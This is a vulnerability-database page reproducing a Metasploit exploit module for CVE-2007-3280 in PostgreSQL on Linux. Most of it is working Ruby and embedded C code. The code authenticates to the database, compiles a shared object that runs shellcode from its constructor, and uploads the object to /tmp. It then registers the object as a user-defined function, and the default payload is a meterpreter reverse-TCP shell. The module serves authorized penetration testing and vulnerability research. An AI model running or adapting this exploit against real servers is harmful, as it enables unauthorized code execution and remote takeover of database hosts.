Lucene search
K

PostgreSQL for Linux Payload Execution

🗓️ 14 Aug 2012 16:46:35Reported by midnitesnake, egypt <[email protected]>, todb <[email protected]>, lucipherType 
metasploit
 metasploit
🔗 www.rapid7.com👁 84 Views

PostgreSQL for Linux Payload Executio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-3280
29 May 201815:50
circl
CVE
CVE-2007-3280
19 Jun 200721:00
cve
Cvelist
CVE-2007-3280
19 Jun 200721:00
cvelist
Exploit DB
PostgreSQL for Linux Payload Execution
13 Dec 201200:00
exploitdb
Tenable Nessus
Mandrake Linux Security Advisory : postgresql (MDKSA-2007:188)
26 Sep 200700:00
nessus
NVD
CVE-2007-3280
19 Jun 200721:30
nvd
OpenVAS
Mandriva Update for postgresql MDKSA-2007:188 (postgresql)
9 Apr 200900:00
openvas
OpenVAS
Mandriva Update for postgresql MDKSA-2007:188 (postgresql)
9 Apr 200900:00
openvas
Prion
Design/Logic Flaw
19 Jun 200721:30
prion
RedhatCVE
CVE-2007-3280
30 Oct 201509:52
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Postgres
  include Msf::Auxiliary::Report
  include Msf::OptionalSession::PostgreSQL

  # Creates an instance of this module.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PostgreSQL for Linux Payload Execution',
      'Description'    => %q{
        On some default Linux installations of PostgreSQL, the
        postgres service account may write to the /tmp directory, and
        may source UDF Shared Libraries from there as well, allowing
        execution of arbitrary code.

        This module compiles a Linux shared object file, uploads it to
        the target host via the UPDATE pg_largeobject method of binary
        injection, and creates a UDF (user defined function) from that
        shared object. Because the payload is run as the shared object's
        constructor, it does not need to conform to specific Postgres
        API versions.
      },
      'Author'         =>
      [
        'midnitesnake', # this Metasploit module
        'egypt',        # on-the-fly compiled .so technique
        'todb',         # original windows module this is based on
        'lucipher'      # updated module to work on Postgres 8.2+
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-3280' ],
          [ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
        ],
      'Platform'       => 'linux',
      'Payload'        =>
        {
          'Space'    => 65535,
          'DisableNops'  => true,
        },
      'Targets'        =>
        [
          [ 'Linux x86',
            {
              'Arch' => ARCH_X86,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ],
          [ 'Linux x86_64',
            {
              'Arch' => ARCH_X64,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2007-06-05'
      ))

    deregister_options('SQL', 'RETURN_ROWSET')
  end

  def check
    version = postgres_fingerprint

    if version[:auth]
      return CheckCode::Appears
    else
      print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
      return CheckCode::Safe
    end
  end

  def exploit
    self.postgres_conn = session.client if session

    version = do_login(username,password,database)
    case version
    when :noauth; print_error "Authentication failed"; return
    when :noconn; print_error "Connection failed"; return
    else
      print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")
    end

    fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"

    unless postgres_upload_binary_data(payload_so(fname), fname)
      print_error "Could not upload the UDF SO"
      return
    end

    print_status "Uploaded as #{fname}, should be cleaned up automatically"
    begin
      func_name = Rex::Text.rand_text_alpha(10)
      postgres_query(
        "create or replace function pg_temp.#{func_name}()"+
        " returns void as '#{fname}','#{func_name}'"+
        " language c strict immutable"
      )
    rescue RuntimeError => e
      print_error "Failed to create UDF function: #{e.class}: #{e}"
    end
    postgres_logout if @postgres_conn && session.blank?

  end

  # Authenticate to the postgres server.
  #
  # Returns the version from #postgres_fingerprint
  def do_login(user=nil,pass=nil,database=nil)
    begin
      password = pass || postgres_password
      vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
      result = postgres_fingerprint(
        :db => database,
        :username => user,
        :password => password
      )
      if result[:auth]
        report_service(
          :host => postgres_conn.peerhost,
          :port => postgres_conn.peerport,
          :name => "postgres",
          :info => result.values.first
        )
        return result[:auth]
      else
        print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
        return :noauth
      end
    rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
      return :noconn
    end
  end


  def payload_so(filename)
    shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
    #shellcode = "\\xcc"

    c = %Q^
      int _exit(int);
      int printf(const char*, ...);
      int perror(const char*);
      void *mmap(int, int, int, int, int, int);
      void *memcpy(void *, const void *, int);
      int mprotect(void *, int, int);
      int fork();
      int unlink(const char *pathname);

      #define MAP_PRIVATE 2
      #define MAP_ANONYMOUS 32
      #define PROT_READ 1
      #define PROT_WRITE 2
      #define PROT_EXEC 4

      #define PAGESIZE 0x1000

      typedef struct _Pg_magic_struct {
        int len;
        int version;
        int funcmaxargs;
        int indexmaxkeys;
        int namedatalen;
        int float4byval;
        int float8byval;
      } Pg_magic_struct;

      extern const Pg_magic_struct *PG_MAGIC_FUNCTION_NAME(void);

      const Pg_magic_struct * PG_MAGIC_FUNCTION_NAME(void)
      {
        static const Pg_magic_struct Pg_magic_data = {sizeof(Pg_magic_struct), 804, 100, 32, 64, 1, 1};
        return &Pg_magic_data;
      }

      char shellcode[] = "#{shellcode}";

      void run_payload(void) __attribute__((constructor));

      void run_payload(void)
      {
        int (*fp)();
        fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);

        memcpy(fp, shellcode, sizeof(shellcode));
        if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
          _exit(1);
        }
        if (!fork()) {
          fp();
        }

        unlink("#{filename}");
        return;
      }

    ^

    cpu = case target_arch.first
      when ARCH_X86; Metasm::Ia32.new
      when ARCH_X64; Metasm::X86_64.new
      end
    payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")

    so_file = payload_so.encode_string(:lib)

    so_file
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation